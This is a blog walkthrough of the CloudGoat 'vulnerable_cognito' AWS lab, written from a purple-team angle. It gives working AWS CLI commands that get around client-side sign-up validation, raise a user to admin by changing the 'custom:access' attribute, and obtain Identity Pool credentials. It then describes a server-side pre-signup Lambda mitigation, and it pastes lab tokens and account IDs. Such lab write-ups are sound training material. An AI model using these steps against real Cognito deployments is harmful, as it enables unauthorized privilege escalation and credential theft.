CloudGoat Scenario 2: vulnerable_cognito (Small / Moderate): WalkThrough and Mitigation
Hey hi, Soumyanil is back but with Cloud now, let’s have a look into AWS Penetration Testing. I will be covering all the scenarios provided by the CloudGoat vulnerable AWS environment by Rhinosecurity Labs.
CloudGoat is Rhino Security Labs’ “Vulnerable by Design” AWS deployment tool. It allows us to hone our cloud cybersecurity skills by creating and completing several CTF style scenarios. Each and every scenario is composed of AWS resources arranged together to create a structured learning experience. These scenarios vary in difficulty and many offer multiple paths to Flag/Goal.
From Purple Team point of View:
i. Our mission to perform Recon, identify vulnerabilities, and perform exploitation in order to achieve the scenario objective.
ii. Provide Mitigation for the above Flaw that we came accross.
Details about the Scenario :
i. In this scenario, you are presented with a signup and login page with AWS Cognito in the backend.
ii. You need to :
Objective A. Bypass restrictions
Objective B. Exploit Misconfigurations in Amazon Cognito in order :
1. To Elevate your privileges
2. and get Cognito Identity Pool credentials
iii. Scenario Resources:
1 S3 bucket
1 Cognito Userpool
1 Cognito IdentityPool
1 API Gateway REST API
1 Lambda
1 IAM role
I will be using Kali Linux VM to Spin Up the Vulnerable Lab Setup.
CloudGoat SetUp:
To install CloudGoat:
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py
NOTE:
Please setup the AWS CLI and AWS account prior to the above commands and create a user with name “cloudgoat” having permission for CLI connections.
1. Setting Up Scenario 2: vulnerable_cognito (Small / Moderate):
./cloudgoat.py create vulnerable_cognito
Q. BTW, What is Amazon Cognito ?
Ans: According to AWS:
So basically, Amazon Cognito is a User Identity and Data Syncronization Service, which gives User a very easy time to manage their accounts connected Over Mutiple Electronic Devices.
Let’s Start:
┌──(kali㉿kali)-[~/AWS/BLOG_AWS/cloudgoat]
└─$ cat vulnerable_cognito_cgidgxpcecu5yc/start.txt
apigateway_url = https://ht0ueqmd17.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgid2jkmefusdh/index.html
cloudgoat_output_aws_account_id = 572769290600
Let’s Navigate to the site and signing up:
Now using temp-mail, I tried to Sign-Up but I failed!
Objective A: Bypassing email (client-side validation Check) restrictions:
1. Inspecting Source code of Webpage:
Got this Creds:
UserPoolId: 'us-east-1_mYaVxhwr7'
ClientId: '4u4i11pmknfa2k6flrur6c3a5v'
2. Bypassing email Client-Side validation Checks/ restrictions via AWS CLI:
Let us use this retireved ClientId
to SignUp Via AWS CLI, which would bypass email Client-Side validation Check/restriction
.
aws cognito-idp sign-up --client-id [Client-id] --username [temp-mail email address] --password [add-password] --region [region] --user-attributes '[{"Name":"given_name","Value":"lorem"},{"Name":"family_name","Value":"ipsum"}]'
┌──(kali㉿kali)-[~/AWS/BLOG_AWS/cloudgoat]
└─$ aws cognito-idp sign-up --client-id 4u4i11pmknfa2k6flrur6c3a5v --username yeripan911@bitofee.com --password Passw0rd! --region us-east-1 --user-attributes '[{"Name":"given_name","Value":"lorem"},{"Name":"family_name","Value":"ipsum"}]'
{
"UserConfirmed": false,
"CodeDeliveryDetails": {
"Destination": "y***@b***",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
},
"UserSub": "3072f385-94fb-4eff-8371-829f7610af7e"
}
Got the Verfication code here in temp-mail:
Now, confirming the registration:
aws cognito-idp confirm-sign-up --region [region] --client-id [ClientId] --username [temp-mail email address] --confirmation-code '[Verfication code in temp mail]'
3. Logging in now : [TA0001 - Initial Access]:
Objective B. Exploit Misconfigurations in Amazon Cognito: [T1134 - PrivEsc: Access Token Manipulation]:
1. With Inspect option, got some tokens stored in Storage Menu:
accessToken :
eyJraWQiOiJGZzVTQWdsclBCczVxcEVLamhnVUhoTVdETGRzUXhQVzZSMzIyZG9pS2V3PSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIzMDcyZjM4NS05NGZiLTRlZmYtODM3MS04MjlmNzYxMGFmN2UiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAudXMtZWFzdC0xLmFtYXpvbmF3cy5jb21cL3VzLWVhc3QtMV9tWWFWeGh3cjciLCJjbGllbnRfaWQiOiI0dTRpMTFwbWtuZmEyazZmbHJ1cjZjM2E1diIsIm9yaWdpbl9qdGkiOiIyYzIxZDM3OS0wN2M2LTQ3YjUtYTRhZC02ZjJjZTZjM2RlMzEiLCJldmVudF9pZCI6ImVlNjFmOGI3LTI2NTAtNDgyZS05ZDJiLWFhMTlhNTk2YTFiZCIsInRva2VuX3VzZSI6ImFjY2VzcyIsInNjb3BlIjoiYXdzLmNvZ25pdG8uc2lnbmluLnVzZXIuYWRtaW4iLCJhdXRoX3RpbWUiOjE3MDY2MDU1MjgsImV4cCI6MTcwNjY2NjcxNSwiaWF0IjoxNzA2NjYzMTE1LCJqdGkiOiI1OTU4M2NjNC00YThmLTQ0NjYtODE0MS00YmE5ZGJlZjMwNTYiLCJ1c2VybmFtZSI6IjMwNzJmMzg1LTk0ZmItNGVmZi04MzcxLTgyOWY3NjEwYWY3ZSJ9.lzhDLHO9VjNCm_hqxc_VPQEXIZEK9GB5tlf3gS_PQaE_cKRFZot-vS1fFSsd3LWGYJG70ojjHj1N8HLHvMFWO94OCP6czBK-3BAq3zTA3bZ9PNTPITt34iefngx03CK6xSR6omTS3AmAStAnchSpOw457MK7mBgS5f-IWNAfLQW0hb4MkXE6LfVeCfzfG4Ur_rfWIm8j6kIVnvtSDzIj894e262BXvVI83xCEqSqgr2Svptc2Td2GN5pNX4FTaYgF0tBFtFA8AiRu6Sf2Jehh8QUC-_ZMoM4-piqk6WqOSJGlNrzHuLpn_tbf0YZgaskYmKIkAseXYiz5tN13Ywq5g
idToken :
eyJraWQiOiI3N2JsaEwrYjBwaTNYSzlOVG9UQUFxeGdObVZMUmxFRVBjRVRIbUMzQUpnPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIzMDcyZjM4NS05NGZiLTRlZmYtODM3MS04MjlmNzYxMGFmN2UiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfbVlhVnhod3I3IiwiY29nbml0bzp1c2VybmFtZSI6IjMwNzJmMzg1LTk0ZmItNGVmZi04MzcxLTgyOWY3NjEwYWY3ZSIsImdpdmVuX25hbWUiOiJsb3JlbSIsImN1c3RvbTphY2Nlc3MiOiJyZWFkZXIiLCJvcmlnaW5fanRpIjoiYWFjNzYwNDItNmJkZi00Yjg2LWJhMzMtNWYxNTViMjQ5MzM1IiwiYXVkIjoiNHU0aTExcG1rbmZhMms2ZmxydXI2YzNhNXYiLCJldmVudF9pZCI6IjUyOGY0NWIxLTg3MGQtNGVmNC1hOWY2LTEwNWQ0MDIzNmU2NCIsInRva2VuX3VzZSI6ImlkIiwiYXV0aF90aW1lIjoxNzA2NjA0MDkyLCJleHAiOjE3MDY2MDc2OTIsImlhdCI6MTcwNjYwNDA5MiwiZmFtaWx5X25hbWUiOiJpcHN1bSIsImp0aSI6ImY0OTljMmFkLTk5NTQtNGJhMC05Yzg2LWVlYWJlNjRiOTVkYiIsImVtYWlsIjoieWVyaXBhbjkxMUBiaXRvZmVlLmNvbSJ9.n2qxAqrVu4ibtvi326vglqY6o-WoII_gRAANt7SbkpnBXvPRkBsypKBM_pVjIXAKoNsjBOyKrb8AC6oPpSiEHkxPfFCmfCDFD_WFQcSIxn-DONjorCZmF8nkq56cPQdI_VrQbuxZyrxOVE_nNjN393oNs2ow2lj8G8nQoorOd7uU4L3dYfk7Ip1YsZReXU-93cM6la8heRET-eS5xS_uMIXk9NQwxf5oFCyuQbK4rNJTUfF7C2IAXcS5hJs22sNseV9wDOsUAuZjnsUFj4HnYQTBpJgVUiZFNRJ71585TBTJtpW-7OAMq3N9qpSrs7MbpVVOtKBzJ1KewLemBALq1Q
refreshToken :
eyJjdHkiOiJKV1QiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9BRVAifQ.VThqXR3jTXZXvHN8XBhPaZZPyvj4bOi6F7S_GMt37_TtcDcpbJ60u8gv5v8uG48GX9woHis7w-ma0FE_gNTSB6cETcYM-If1K_eC3_AiGSyI3vEkqmDtiZtgKaF26eDN-8k1di5mO4w2oYE9uG6L91YPdwUTA8do9WIo1bp7WVJwqFeS1jHKt8h9xmHoeUk4lpQodyWO_92EzBPyr5VRvohjXQ1EL2K8BtWIwvPfGZ1zumKcrhALnUR0lCtYgiFUcWg0iyrli58a2NQbAHW9iLeNo1XU4Kghj5FBFm4seP3tQXzWjK4A5TkWai2ZglOx3RPHieR1JiAhblPohb5gnA.xffrQ7sx_oHI6FRh.M9AvkGOSW4OFWRUuLmbKaeJb8LoNpTNnQlxPL4PP_5aJ7-5hJJPb_GYPVLUUSmDKrbWi1E8qt7A0iTSJnk5M3nUJuOHWVVKQ4tmKutTVQ0aY2STDUtUXu3iIbav4dwUyW5Hg5BDm_G9B8HE0RlkspY6dUrmn7qIFN3zsl4N9qAb3WPLyTsgj1BxfS3YSDrLL2XGBuBxlJ3Wft_s-r_setAwlLfzB4OAR0OM8piYWuDEIVKVokvR5JXz3jmQmpm-5I8pFEgG02x9WyvVCW3bZTabqICRZw2jUHVDv1dWVYG8xdEBmalhHMzDEP0WUY_ZKq7xnEMzUa6OgCnlMvMeePuOgnSfI48h-4UTgRYShbZJpOPlXkc43csYzGKIWBA_SmRMtDjdT6VwqwLzpDgPablhADVsnuFiXUi6yD6gEr_U8VxStNRrjmGWT59QzayyLOPu6Mnf9LLbsFybNIBr05JJ6gFkWR_8Tcjm1pS8287grUTiOpJ8svA1oAoiWyuvBdI2IC3RGllc7ZdLe6OCF01Abo9gDjr_1x1ebSAhsI7Ruzngn2Y_Uvkg78S3fAs0l-i4g4tj8oQ5fGa7qfvA_i64xpJvsHmYCFznxNxztZJriilY6AFcXRZ04vddKWiqBKz1BleVV2JN-sqqCkUr72i6LwaIm7UR4mqp-QiScurfaxOJdhEET_n7Rw-9iBlQuMD914L8pc6W-LBFuyeVj3M7V0aTXBDLpeRObow66AL7Ji_cGWYYlZmkYxAMIabdfhvNTZeH6KDqrCtDYWSmOe6CgkG0jffb_WnErLfcJtjf747xvwLrcs5kVGggf_sUE7LL9sr3OqHfe9hBd4gxaLSbD00WN7r5nKjLVadFXUhb288DmRE0sc1BfbLLYB7beewbdHHHKWew8ZtbzZm2dlv51G6wpdmc3AmNWLP0wHFnChD_LGDIVLugORY4FVBUe7qRtrYyPJ0v-XOcclF3VZcXSxxbExAFiCMiYJ6ut6HiMr0xF1vdMj94iFbJ26h7jwRBhr2S6nlVrONwajf9YcAddWlMtnDumfhTrK-57nlPCuEsQrlUCqcA5hPiCuWR5G5gchU76Z_PqxQbwp8TIWMd6uVtbYaDnmWuGdtfzZ_ohHU3y3ip5XF7ZgilQuYwjjfVeYbDw5_QDCRdOS4nbe5vIiVUwBC5vKHYWHdmDbfgRFcYL-KxvCHhXx7fDMrTBXPGvc5xaLQtx27FO2I0hNtYQRFvpiefF79B3UbaAWm7GdSma-wKi98q6eXKA73fpiTAqqb5yI2CT-t5-PKMCj7mh51H-mDa1r7uqwyrI2W190oXXWOvpAeIO7b8.s5OPY_91iz_kTjtNqKGztQ
LastAuthUser :
3072f385-94fb-4eff-8371-829f7610af7e
2. With the accessToken
, I can perform PrivEsc: B.1. To Elevate our privileges:
Let’s check which users can actually use this retrieved Access Token
:
aws cognito-idp get-user --access-token [AccessToken]
We can see that these are all data, last one is our own signing up data. All these datas within UserAttributes
parameter are added by Amazon Cognito using a post-confirmation lambda trigger
But there is one which looks different than the rest of the members : custom attribute “custom:access”
-
In Amazon Cognito, custom user attributes are used for better management of users.
- Custom User attributes lies under the category of Role-based access control.
- Custom attributes require the
custom:
prefix to distinguish them from standard attributes. - These custom attributes are important and mostly overlooked in terms of security.
NOTE:
Q. What is Role-based Access control?
Amazon Cognito identity pools assign authenticated IAM users a set of temporary, limited-privilege credentials to access your AWS resources. The permissions for each user are controlled through IAM roles (A secure way to grant permissions to Entities/IAM Users we trust) that you create.
Basically, it provides limited access to a particular AWS resource by WhiteListing selective IAM users.
We are now trying to update the “custom:access” attribute to “admin” rights using AWS CLI:
aws cognito-idp update-user-attributes --region [region] --access-token [AccessToken] --user-attributes '[{"Name":"custom:access","Value":"admin"}]'
Let’s check this:
So, we are admin now!
3. Objective B.2. get Cognito Identity Pool credentials:
Let’s check the Source again now for admin account (admin.html):
IdentityPoolId: us-east-1:020af0e2-d0e0-46cd-9602-346d98689753
another value within Logins (not any particular keyword, just made that up for convinience) : cognito-idp.us-east-1.amazonaws.com/us-east-1_mYaVxhwr7 (cognito-idp.{region}.amazonaws.com/{UserPoolId})
Now let’s retrieve, IdentityId
:
IdentityPoolId
+UserPoolId
+idToken
(we previously retrieved from Local Storage of Browser) =IdentityId
Previously when we checked the Source Code of the reader.html site : \
UserPoolId: 'us-east-1_mYaVxhwr7'
ClientId: '4u4i11pmknfa2k6flrur6c3a5v'
Another value within Logins
can be used directly to construct the AWS CLI command to retrieve, IdentityId
:
aws cognito-identity get-id --identity-pool-id '[IdentityPool_Id]' --logins "another value within Logins={idToken}" --region [region]
Or,
aws cognito-identity get-id --identity-pool-id '[IdentityPool_Id]' --logins "cognito-idp.{region}.amazonaws.com/{UserPoolId}={idToken}" --region [region]
IdentityId : us-east-1:b41e526f-7f65-47c3-bf18-38fd17f2192a
Retrieving AWS credentials from IdentityId :
IdentityId
+UserPoolId
+idToken
(we previously retrieved from Local Storage of Browser) = AWS credentials!!!
aws cognito-identity get-credentials-for-identity --identity-id '{IdentityId}' --logins "another value within Logins={idToken}" --region [region]
Or,
aws cognito-identity get-credentials-for-identity --identity-id '{IdentityId}' --logins "cognito-idp.{region}.amazonaws.com/{UserPoolId}={idToken}" --region [region]
Post Exp Using enumerate-iam:
enumerate-iam.py --access-key [retrieved AccessKeyId] --secret-key [SecretKey] --session-token [SessionToken] --region [region]
Security Mitigation for the above Misconfigurations:
- Storing Sensitive IDs in Source Code is not allowed!
- Using “pre-sign-up lambda triggers” to perform server-side email domain validation instead of using client-side validation.
Let’s Set this Up:
1. Creating a new Lambda function in the AWS Lambda console.
Then, Click on “Create function”!
The code will Look Like this:
export const handler = async (event, context) => {
try {
// Configure the email domain that will be allowed to automatically verify.
// in this case: approveddomain.com will be ecorp.com
//const approvedDomain = "approveddomain.com";
const approvedDomain = "ecorp.com";
// Log the event information for debugging purposes.
console.log('Received event:', JSON.stringify(event, null, 2));
// Extract email from the request
const email = event.request.userAttributes.email;
// Validate the email domain
if (!email.endsWith('@' + approvedDomain)) {
// Reject the signup if the domain is not allowed
throw new Error('Invalid email domain. Sign-up not allowed.');
}
// Continue with the sign-up process if the email domain is allowed
event.response.emailSubject = "Signup Verification Code";
event.response.emailMessage = "Thank you for signing up. " + event.request.codeParameter + " is your verification code.";
context.done(null, event);
} catch (error) {
console.error('Error:', error.message);
context.done(error, event);
}
};
After Pasting, click the Deploy Button
:
2. We will now add “Pre-SignUp Lambda Trigger” : using the created LambdaTrigger function to the already Present Cognito Service.
Click on the running Cognito Service/Instance:
3. Choose the Cognito User Pool Properties Tab:
4. Adding Pre-Signup Lambda Trigger:
Finally Click on “Add Lambda Trigger”
We will see that Everything is Set!
Let’s try to Bypass this Now:
- Via GUI Website and AWS CLI consecutively:
Working Successfully then :)
BTW, Destroy the scenario after completion of this lab:
- Delete the Lambda Function named, LamdaTrigger.
- Destroy the actually Env now with terraform script:
./cloudgoat.py destroy vulnerable_cognito
New KeyWords that we learnt (can be used as Keyword Searching (Ctrl+F) if needed anytime) in this blog :
- Amazon Cognito
- cognito-idp
- post-confirmation lambda trigger
- custom attribute “custom:access”
- Role-based access control
- IAM Role
- Other value within Logins
- Creating a new Lambda function
- Pre-SignUp Lambda Trigger
With this, I have come to the end of the blog. I will be uploading the rest of the CloudGoat Scenarios as soon as I finish them covering myself in lab env. If you guys/gals have any query, you can reach me at any of my social media. Till then, see yaa!